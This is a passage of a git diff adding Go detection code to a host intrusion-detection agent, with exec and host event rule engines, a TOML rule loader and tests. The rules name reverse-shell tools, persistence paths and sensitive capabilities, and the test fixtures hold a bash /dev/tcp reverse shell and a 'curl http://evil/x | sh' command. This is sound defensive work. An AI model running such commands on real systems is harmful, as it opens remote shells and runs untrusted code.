rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin", + "severity": rule.Severity, "classtype": rule.Classtype, + "signature": "host_rule." + rule.Classtype, + "msg": rule.Message, "conditions": conditions, + }) + } + sort.SliceStable(records, func(i, j int) bool { + leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int) + if leftSID != rightSID { + return leftSID < rightSID + } + return records[i]["event"].(string) < records[j]["event"].(string) + }) + return records +} + +func FindRule(records []map[string]any, sid int) map[string]any { + for _, record := range records { + if record["sid"].(int) == sid { + return record + } + } + return nil +} + +func sortedStringKeys(values map[string]bool) []string { + result := make([]string, 0, len(values)) + for value := range values { + result = append(result, value) + } + sort.Strings(result) + return result +} + +func sortedIntKeys(values map[int]bool) []int { + result := make([]int, 0, len(values)) + for value := range values { + result = append(result, value) + } + sort.Ints(result) + return result +} diff --git a/go-agent/internal/events/catalog_test.go b/go-agent/internal/events/catalog_test.go new file mode 100644 index 0000000..f44ec29 --- /dev/null +++ b/go-agent/internal/events/catalog_test.go @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "reflect" + "testing" +) + +func TestRuleCatalogCoversEveryPortedRule(t *testing.T) { + records := RuleCatalog(DefaultExecRuleEngine()) + if len(records) != 21 { + t.Fatalf("got %d rules, want 21", len(records)) + } + sids := make([]int, 0, len(records)) + for _, record := range records { + sids = append(sids, record["sid"].(int)) + } + want := []int{ + 100001, 100002, 100003, 100004, + 100060, 100061, 100062, 100063, 100064, 100065, 100066, + 100067, 100068, 100069, 100070, 100071, 100072, 100073, + 100076, 100077, 100078, + } + if !reflect.DeepEqual(sids, want) { + t.Fatalf("unexpected catalog SIDs: %#v", sids) + } + capability := FindRule(records, 100077) + conditions := capability["conditions"].(map[string]any) + if _, ok := conditions["capabilities_any"]; !ok { + t.Fatalf("capability conditions missing: %#v", capability) + } +} diff --git a/go-agent/internal/events/exec_event.go b/go-agent/internal/events/exec_event.go new file mode 100644 index 0000000..982e484 --- /dev/null +++ b/go-agent/internal/events/exec_event.go @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package events implements the event-driven rule layer independently from +// its eventual kernel source. Keeping event records and matching pure makes +// Python/Go parity testable before cilium/ebpf enters the build. +package events + +import ( + "encoding/json" + "strings" +) + +// ExecEvent is one execve observed at execution time. Argv excludes filename, +// matching the Python event model and the current BCC source contract. +type ExecEvent struct { + PID int `json:"pid"` + PPID int `json:"ppid"` + UID int `json:"uid"` + ParentComm string `json:"parent_comm"` + Filename string `json:"filename"` + Argv []string `json:"argv"` +} + +// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base: +// Python returns an empty basename for a path ending in '/', while filepath +// cleans the trailing separator and would return the previous component. +func (e ExecEvent) ExecComm() string { + if index := strings.LastIndex(e.Filename, "/"); index >= 0 { + return e.Filename[index+1:] + } + return e.Filename +} + +func (e ExecEvent) ArgvString() string { + parts := make([]string, 0, len(e.Argv)+1) + parts = append(parts, e.Filename) + parts = append(parts, e.Argv...) + return strings.TrimSpace(strings.Join(parts, " ")) +} + +func (e *ExecEvent) UnmarshalJSON(raw []byte) error { + var values map[string]any + if err := json.Unmarshal(raw, &values); err != nil { + return err + } + e.PID = integerValue(values["pid"], 0) + e.PPID = integerValue(values["ppid"], 0) + e.UID = integerValue(values["uid"], 0) + e.ParentComm = stringValue(values["parent_comm"]) + e.Filename = stringValue(values["filename"]) + e.Argv = stringSlice(values["argv"]) + return nil +} diff --git a/go-agent/internal/events/exec_event_test.go b/go-agent/internal/events/exec_event_test.go new file mode 100644 index 0000000..71defd8 --- /dev/null +++ b/go-agent/internal/events/exec_event_test.go @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import "testing" + +func TestExecEventDerivedFieldsMatchPython(t *testing.T) { + event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}} + if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" { + t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString()) + } + if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" { + t.Fatalf("trailing-slash basename drifted from Python: %q", got) + } +} diff --git a/go-agent/internal/events/exec_rules.go b/go-agent/internal/events/exec_rules.go new file mode 100644 index 0000000..c5c6e27 --- /dev/null +++ b/go-agent/internal/events/exec_rules.go @@ -0,0 +1,414 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "encoding/csv" + "fmt" + "os" + "regexp" + "sort" + "strconv" + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +// ExecRule is the Go representation of Python's declarative exec rule. Every +// specified positive condition is ANDed; values inside a condition are ORed. +type ExecRule struct { + SID int + Message string + Severity string + Classtype string + PathPrefixes []string + ExecComms map[string]bool + ParentComms map[string]bool + ArgvRegex string + ParentExclude map[string]bool + compiled *regexp.Regexp +} + +func NewExecRule(rule ExecRule) (ExecRule, error) { + if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 && + len(rule.ParentComms) == 0 && rule.ArgvRegex == "" { + return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID) + } + if rule.Severity == "" { + rule.Severity = "HIGH" + } + if rule.Classtype == "" { + rule.Classtype = "uncategorized" + } + if rule.ArgvRegex != "" { + compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex) + if err != nil { + return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err) + } + rule.compiled = compiled + } + return rule, nil +} + +func (r ExecRule) Matches(event ExecEvent) bool { + if r.ParentExclude[event.ParentComm] { + return false + } + if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) { + return false + } + if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] { + return false + } + if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] { + return false + } + if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) { + return false + } + return true +} + +func (r ExecRule) Alert(event ExecEvent) model.Alert { + argv := truncateRunes(event.ArgvString(), 120) + return model.Alert{ + SID: r.SID, + Severity: r.Severity, + Signature: "exec_rule." + r.Classtype, + Classtype: r.Classtype, + Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID), + Detail: fmt.Sprintf( + "sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]", + r.SID, r.Message, event.PID, event.PPID, event.ParentComm, + event.Filename, argv), + PIDs: []int{event.PID}, + } +} + +type ExecRuleEngine struct { + Rules []ExecRule +} + +func DefaultExecRuleEngine() ExecRuleEngine { + // Constructors below use only compile-time-valid rules. Panic is preferable + // to silently dropping a shipped detection if a future edit breaks one. + rules := make([]ExecRule, 0, len(defaultExecRuleSpecs)) + for _, specification := range defaultExecRuleSpecs { + rule, err := NewExecRule(specification) + if err != nil { + panic(err) + } + rules = append(rules, rule) + } + return ExecRuleEngine{Rules: rules} +} + +func LoadExecRuleEngine(path string) (ExecRuleEngine, error) { + engine := DefaultExecRuleEngine() + if path == "" { + return engine, nil + } + if _, err := os.Stat(path); os.IsNotExist(err) { + return engine, nil + } else if err != nil { + return ExecRuleEngine{}, err + } + rules, err := loadTOMLExecRules(path) + if err != nil { + return ExecRuleEngine{}, err + } + engine.Rules = append(engine.Rules, rules...) + return engine, nil +} + +func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert { + alerts := make([]model.Alert, 0) + for _, rule := range e.Rules { + if rule.Matches(event) { + alerts = append(alerts, rule.Alert(event)) + } + } + return alerts +} + +var interpreters = stringSet(strings.Fields( + "sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " + + "nc ncat netcat socat")) + +var webDBServers = stringSet(strings.Fields( + "nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " + + "node nodejs tomcat catalina mysqld mariadbd postgres redis-server")) + +var defaultExecRuleSpecs = []ExecRule{ + { + SID: 100001, Message: "Program executed from a world-writable directory", + Severity: "CRITICAL", Classtype: "fileless-execution", + PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"}, + }, + { + SID: 100002, Message: "Reverse-shell command pattern in execve arguments", + Severity: "CRITICAL", Classtype: "c2-reverse-shell", + ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`, + }, + { + SID: 100003, + Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)", + Severity: "CRITICAL", Classtype: "web-rce", + ExecComms: interpreters, ParentComms: webDBServers, + }, + { + SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)", + Severity: "HIGH", Classtype: "ingress-tool-transfer", + ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`, + }, +} + +type rawExecRule struct { + values map[string]string +} + +// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset +// consumed by Python. The sidecar stays stdlib-only; multiline string arrays, +// quoted strings, comments, and arbitrary table ordering are supported. +func loadTOMLExecRules(path string) ([]ExecRule, error) { + raw, err := os.ReadFile(path) + if err != nil { + return nil, err + } + tables, err := parseExecRuleTables(string(raw)) + if err != nil { + return nil, err + } + rules := make([]ExecRule, 0, len(tables)) + for _, table := range tables { + sidText, ok := table.values["sid"] + if !ok { + return nil, fmt.Errorf("exec_rules entry missing sid") + } + sid, err := strconv.Atoi(strings.TrimSpace(sidText)) + if err != nil { + return nil, fmt.Errorf("exec_rules sid: %w", err) + } + message, err := optionalString(table.values, "msg", "") + if err != nil { + return nil, err + } + severity, err := optionalString(table.values, "severity", "HIGH") + if err != nil { + return nil, err + } + severity = strings.ToUpper(severity) + if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" { + severity = "HIGH" + } + classtype, err := optionalString(table.values, "classtype", "uncategorized") + if err != nil { + return nil, err + } + argvRegex, err := optionalString(table.values, "argv_regex", "") + if err != nil { + return nil, err + } + pathPrefixes, err := optionalStringArray(table.values, "path_prefixes") + if err != nil { + return nil, err + } + execComms, err := optionalStringArray(table.values, "exec_comm") + if err != nil { + return nil, err + } + parentComms, err := optionalStringArray(table.values, "parent_comm") + if err != nil { + return nil, err + } + parentExclude, err := optionalStringArray(table.values, "parent_exclude") + if err != nil { + return nil, err + } + rule, err := NewExecRule(ExecRule{ + SID: sid, Message: message, Severity: severity, Classtype: classtype, + PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms), + ParentComms: stringSet(parentComms), ArgvRegex: argvRegex, + ParentExclude: stringSet(parentExclude), + }) + if err != nil { + return nil, err + } + rules = append(rules, rule) + } + return rules, nil +} + +func parseExecRuleTables(text string) ([]rawExecRule, error) { + tables := make([]rawExecRule, 0) + var current *rawExecRule + var assignment strings.Builder + depth := 0 + flush := func() error { + if assignment.Len() == 0 || current == nil { + assignment.Reset() + return nil + } + key, value, ok := strings.Cut(assignment.String(), "=") + if !ok { + return fmt.Errorf("invalid exec rule assignment: %q", assignment.String()) + } + current.values[strings.TrimSpace(key)] = strings.TrimSpace(value) + assignment.Reset() + return nil + } + for _, rawLine := range strings.Split(text, "\n") { + line := strings.TrimSpace(stripTOMLComment(rawLine)) + if line == "" { + continue + } + if line == "[[exec_rules]]" { + if err := flush(); err != nil { + return nil, err + } + tables = append(tables, rawExecRule{values: map[string]string{}}) + current = &tables[len(tables)-1] + depth = 0 + continue + } + if current == nil { + continue + } + if assignment.Len() > 0 { + assignment.WriteByte(' ') + } + assignment.WriteString(line) + depth += strings.Count(line, "[") - strings.Count(line, "]") + if depth <= 0 { + if err := flush(); err != nil { + return nil, err + } + depth = 0 + } + } + if err := flush(); err != nil { + return nil, err + } + return tables, nil +} + +func optionalString(values map[string]string, key, fallback string) (string, error) { + raw, ok := values[key] + if !ok { + return fallback, nil + } + value, err := tomlString(raw) + if err != nil { + return "", fmt.Errorf("exec_rules %s: %w", key, err) + } + return value, nil +} + +func optionalStringArray(values map[string]string, key string) ([]string, error) { + raw, ok := values[key] + if !ok { + return []string{}, nil + } + raw = strings.TrimSpace(raw) + if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' { + return nil, fmt.Errorf("exec_rules %s: expected string array", key) + } + body := strings.TrimSpace(raw[1 : len(raw)-1]) + if body == "" { + return []string{}, nil + } + body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ",")) + reader := csv.NewReader(strings.NewReader(body)) + reader.TrimLeadingSpace = true + fields, err := reader.Read() + if err != nil { + return nil, fmt.Errorf("exec_rules %s: %w", key, err) + } + result := make([]string, 0, len(fields)) + for _, field := range fields { + field = strings.TrimSpace(field) + if field == "" { + continue + } + // encoding/csv already removes TOML's ordinary double quotes. Literal + // single-quoted strings are not CSV syntax, so unwrap those explicitly. + if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' { + field = field[1 : len(field)-1] + } + result = append(result, field) + } + return result, nil +} + +func tomlString(raw string) (string, error) { + raw = strings.TrimSpace(raw) + if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' { + return raw[1 : len(raw)-1], nil + } + value, err := strconv.Unquote(raw) + if err != nil { + return "", fmt.Errorf("expected string, got %q", raw) + } + return value, nil +} + +func stripTOMLComment(line string) string { + inBasic, inLiteral, escaped := false, false, false + for index, char := range line { + if escaped { + escaped = false + continue + } + if char == '\\' && inBasic { + escaped = true + continue + } + if char == '"' && !inLiteral { + inBasic = !inBasic + continue + } + if char == '\'' && !inBasic { + inLiteral = !inLiteral + continue + } + if char == '#' && !inBasic && !inLiteral { + return line[:index] + } + } + return line +} + +func hasPrefix(value string, prefixes []string) bool { + for _, prefix := range prefixes { + if strings.HasPrefix(value, prefix) { + return true + } + } + return false +} + +func stringSet(values []string) map[string]bool { + result := make(map[string]bool, len(values)) + for _, value := range values { + result[value] = true + } + return result +} + +func truncateRunes(value string, limit int) string { + runes := []rune(value) + if len(runes) <= limit { + return value + } + return string(runes[:limit]) +} + +// RuleSIDs is kept sorted for operator catalogs and coverage assertions. +func (e ExecRuleEngine) RuleSIDs() []int { + result := make([]int, 0, len(e.Rules)) + for _, rule := range e.Rules { + result = append(result, rule.SID) + } + sort.Ints(result) + return result +} diff --git a/go-agent/internal/events/exec_rules_test.go b/go-agent/internal/events/exec_rules_test.go new file mode 100644 index 0000000..96d3f55 --- /dev/null +++ b/go-agent/internal/events/exec_rules_test.go @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "os" + "path/filepath" + "reflect" + "testing" +) + +func execEvent(filename string, argv []string, parent string) ExecEvent { + return ExecEvent{ + PID: 10, PPID: 9, UID: 0, ParentComm: parent, + Filename: filename, Argv: argv, + } +} + +func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) { + engine := DefaultExecRuleEngine() + tests := []struct { + event ExecEvent + sid int + }{ + {execEvent("/tmp/.x/dropper", nil, "bash"), 100001}, + {execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002}, + {execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002}, + {execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003}, + {execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004}, + } + for _, test := range tests { + found := false + for _, alert := range engine.Match(test.event) { + if alert.SID == test.sid { + found = true + } + } + if !found { + t.Fatalf("sid %d did not match %#v", test.sid, test.event) + } + } + if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 { + t.Fatalf("benign command matched: %#v", alerts) + } +} + +func TestExecAlertContract(t *testing.T) { + event := execEvent("/tmp/x", nil, "bash") + alert := DefaultExecRuleEngine().Match(event)[0] + if alert.SID != 100001 || alert.Severity != "CRITICAL" || + alert.Signature != "exec_rule.fileless-execution" || + alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) { + t.Fatalf("unexpected alert: %#v", alert) + } + want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]" + if alert.Detail != want { + t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want) + } +} + +func TestExecRuleValidationAndParentExclude(t *testing.T) { + if _, err := NewExecRule(ExecRule{SID: 999}); err == nil { + t.Fatal("conditionless rule was accepted") + } + rule, err := NewExecRule(ExecRule{ + SID: 1, Severity: "HIGH", Classtype: "test", + ExecComms: map[string]bool{"bash": true}, + ParentExclude: map[string]bool{"sshd": true}, + }) + if err != nil { + t.Fatal(err) + } + if !rule.Matches(execEvent("/bin/bash", nil, "cron")) || + rule.Matches(execEvent("/bin/bash", nil, "sshd")) { + t.Fatal("parent exclusion semantics drifted") + } +} + +func TestLoadConfiguredExecRules(t *testing.T) { + path := filepath.Join(t.TempDir(), "rules.toml") + raw := []byte(` +[[exec_rules]] +sid = 190001 +msg = "Custom interpreter rule" +severity = "critical" +classtype = "custom-exec" +exec_comm = [ + "bash", + "zsh", +] +parent_comm = ["cron"] +parent_exclude = ["sshd"] +argv_regex = 'danger\s+now' +`) + if err := os.WriteFile(path, raw, 0o600); err != nil { + t.Fatal(err) + } + engine, err := LoadExecRuleEngine(path) + if err != nil { + t.Fatal(err) + } + if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) { + t.Fatalf("unexpected rule catalog: %#v", got) + } + alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron")) + if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" { + t.Fatalf("configured rule mismatch: %#v", alerts) + } +} diff --git a/go-agent/internal/events/host_event.go b/go-agent/internal/events/host_event.go new file mode 100644 index 0000000..f1cbb65 --- /dev/null +++ b/go-agent/internal/events/host_event.go @@ -0,0 +1,139 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "encoding/json" + "fmt" + "strconv" + "strings" +) + +// HostEvent is the common typed record for network, filesystem, identity, +// capability, and module activity that is neither exec nor raw syscall data. +type HostEvent struct { + Event string `json:"event"` + PID int `json:"pid"` + PPID int `json:"ppid"` + UID int `json:"uid"` + Comm string `json:"comm"` + ParentComm string `json:"parent_comm"` + Path string `json:"path"` + Argv []string `json:"argv"` + PeerIP string `json:"peer_ip"` + PeerPort int `json:"peer_port"` + LocalIP string `json:"local_ip"` + LocalPort int `json:"local_port"` + TargetUID int `json:"target_uid"` + TargetGID int `json:"target_gid"` + Mode int `json:"mode"` + Capabilities []string `json:"capabilities"` + ModuleName string `json:"module_name"` +} + +func (e HostEvent) ArgvString() string { + parts := make([]string, 0, len(e.Argv)+1) + parts = append(parts, e.Path) + parts = append(parts, e.Argv...) + return strings.TrimSpace(strings.Join(parts, " ")) +} + +// UnmarshalJSON accepts the same compatibility aliases as Python ruleops: +// type/event, remote/bind endpoint names, numeric strings, singular capability, +// and module name. Defaults of -1 for absent target IDs are semantically +// significant because zero means a requested root transition. +func (e *HostEvent) UnmarshalJSON(raw []byte) error { + var values map[string]any + if err := json.Unmarshal(raw, &values); err != nil { + return err + } + e.TargetUID, e.TargetGID = -1, -1 + e.Event = stringValue(firstValue(values, "event", "type")) + e.PID = integerValue(values["pid"], 0) + e.PPID = integerValue(values["ppid"], 0) + e.UID = integerValue(values["uid"], 0) + e.Comm = stringValue(values["comm"]) + e.ParentComm = stringValue(values["parent_comm"]) + e.Path = stringValue(values["path"]) + e.Argv = stringSlice(values["argv"]) + e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip")) + e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0) + e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip")) + e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0) + e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1) + e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1) + e.Mode = integerValue(values["mode"], 0) + e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective")) + if len(e.Capabilities) == 0 { + if capability := stringValue(values["capability"]); capability != "" { + e.Capabilities = []string{capability} + } + } + for index := range e.Capabilities { + e.Capabilities[index] = strings.ToUpper(e.Capabilities[index]) + } + e.ModuleName = stringValue(firstValue(values, "module_name", "name")) + return nil +} + +func firstValue(values map[string]any, keys ...string) any { + for _, key := range keys { + if value, ok := values[key]; ok && value != nil && stringValue(value) != "" { + return value + } + } + return nil +} + +func stringValue(value any) string { + if value == nil { + return "" + } + if text, ok := value.(string); ok { + return text + } + return fmt.Sprint(value) +} + +func integerValue(value any, fallback int) int { + if value == nil { + return fallback + } + switch typed := value.(type) { + case float64: + return int(typed) + case int: + return typed + case string: + text := strings.TrimSpace(strings.ToLower(typed)) + if strings.HasPrefix(text, "0o") { + parsed, err := strconv.ParseInt(text[2:], 8, 64) + if err == nil { + return int(parsed) + } + } + parsed, err := strconv.ParseInt(text, 0, 64) + if err == nil { + return int(parsed) + } + } + return fallback +} + +func stringSlice(value any) []string { + if text, ok := value.(string); ok { + if text == "" { + return []string{} + } + return []string{text} + } + items, ok := value.([]any) + if !ok { + return []string{} + } + result := make([]string, 0, len(items)) + for _, item := range items { + result = append(result, stringValue(item)) + } + return result +} diff --git a/go-agent/internal/events/host_rules.go b/go-agent/internal/events/host_rules.go new file mode 100644 index 0000000..dd423ff --- /dev/null +++ b/go-agent/internal/events/host_rules.go @@ -0,0 +1,201 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "fmt" + "regexp" + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil" +) + +type HostRule struct { + SID int + Message string + Severity string + Classtype string + Events map[string]bool + Comms map[string]bool + ParentComms map[string]bool + PeerPublic *bool + PeerPorts map[int]bool + PeerPortExclude map[int]bool + LocalPorts map[int]bool + LocalPortExclude map[int]bool + PathPrefixes []string + TargetUIDs map[int]bool + TargetGIDs map[int]bool + CapabilitiesAny map[string]bool + ModuleNames map[string]bool + ArgvRegex string + compiled *regexp.Regexp +} + +func NewHostRule(rule HostRule) (HostRule, error) { + if len(rule.Events) == 0 { + return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID) + } + if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil && + len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 && + len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 && + len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 && + len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 && + len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" { + return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID) + } + if rule.ArgvRegex != "" { + compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex) + if err != nil { + return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err) + } + rule.compiled = compiled + } + return rule, nil +} + +func (r HostRule) Matches(event HostEvent) bool { + if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] || + len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] { + return false + } + if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic { + return false + } + if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] || + r.PeerPortExclude[event.PeerPort] || + len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] || + r.LocalPortExclude[event.LocalPort] { + return false + } + if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) { + return false + } + if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] || + len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] || + len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] { + return false + } + if len(r.CapabilitiesAny) > 0 { + matched := false + for _, capability := range event.Capabilities { + if r.CapabilitiesAny[strings.ToUpper(capability)] { + matched = true + break + } + } + if !matched { + return false + } + } + return r.compiled == nil || r.compiled.MatchString(event.ArgvString()) +} + +func (r HostRule) Alert(event HostEvent) model.Alert { + capabilities := strings.Join(event.Capabilities, ",") + mode := "-" + if event.Mode != 0 { + mode = fmt.Sprintf("0o%o", event.Mode) + } + module := event.ModuleName + if module == "" { + module = "-" + } + displayCaps := capabilities + if displayCaps == "" { + displayCaps = "-" + } + return model.Alert{ + SID: r.SID, Severity: r.Severity, + Signature: "host_rule." + r.Classtype, Classtype: r.Classtype, + Key: fmt.Sprintf( + "host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s", + r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort, + event.LocalIP, event.LocalPort, event.Path, event.TargetUID, + event.TargetGID, event.Mode, capabilities, event.ModuleName), + Detail: fmt.Sprintf( + "sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s", + r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event, + event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort, + event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module), + PIDs: []int{event.PID}, + } +} + +type HostRuleEngine struct{ Rules []HostRule } + +func DefaultHostRuleEngine() HostRuleEngine { + public := true + specifications := []HostRule{ + {SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts}, + {SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts}, + {SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts}, + {SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes}, + {SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes}, + {SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})}, + {SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})}, + {SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts}, + {SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities}, + {SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes}, + } + rules := make([]HostRule, 0, len(specifications)) + for _, specification := range specifications { + rule, err := NewHostRule(specification) + if err != nil { + panic(err) + } + rules = append(rules, rule) + } + return HostRuleEngine{Rules: rules} +} + +func (e HostRuleEngine) Match(event HostEvent) []model.Alert { + alerts := make([]model.Alert, 0) + for _, rule := range e.Rules { + if rule.Matches(event) { + alerts = append(alerts, rule.Alert(event)) + } + } + return alerts +} + +var hostInterpreterNames = strings.Fields( + "sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " + + "node nodejs nc ncat netcat socat curl wget fetch") +var hostInterpreters = stringSet(hostInterpreterNames) + +// HostInterpreterComms returns the process names used by typed host rules. +// Kernel sources use the same list for in-BPF prefiltering. +func HostInterpreterComms() []string { + return append([]string(nil), hostInterpreterNames...) +} + +var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853}) +var persistencePrefixes = []string{ + "/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/", + "/etc/ld.so.preload", "/root/.ssh/authorized_keys", + "/etc/sudoers", "/etc/sudoers.d/", +} +var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"} +var sensitiveCapabilities = stringSet([]string{ + "CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE", + "CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW", +}) + +func intSet(values []int) map[int]bool { + result := make(map[int]bool, len(values)) + for _, value := range values { + result[value] = true + } + return result +} + +func pathMatches(path string, prefixes []string) bool { + for _, prefix := range prefixes { + if path == prefix || strings.HasPrefix(path, prefix) { + return true + } + } + return false +} diff --git a/go-agent/internal/events/host_rules_test.go b/go-agent/internal/events/host_rules_test.go new file mode 100644 index 0000000..c76a867 --- /dev/null +++ b/go-agent/internal/events/host_rules_test.go @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "encoding/json" + "strings" + "testing" +) 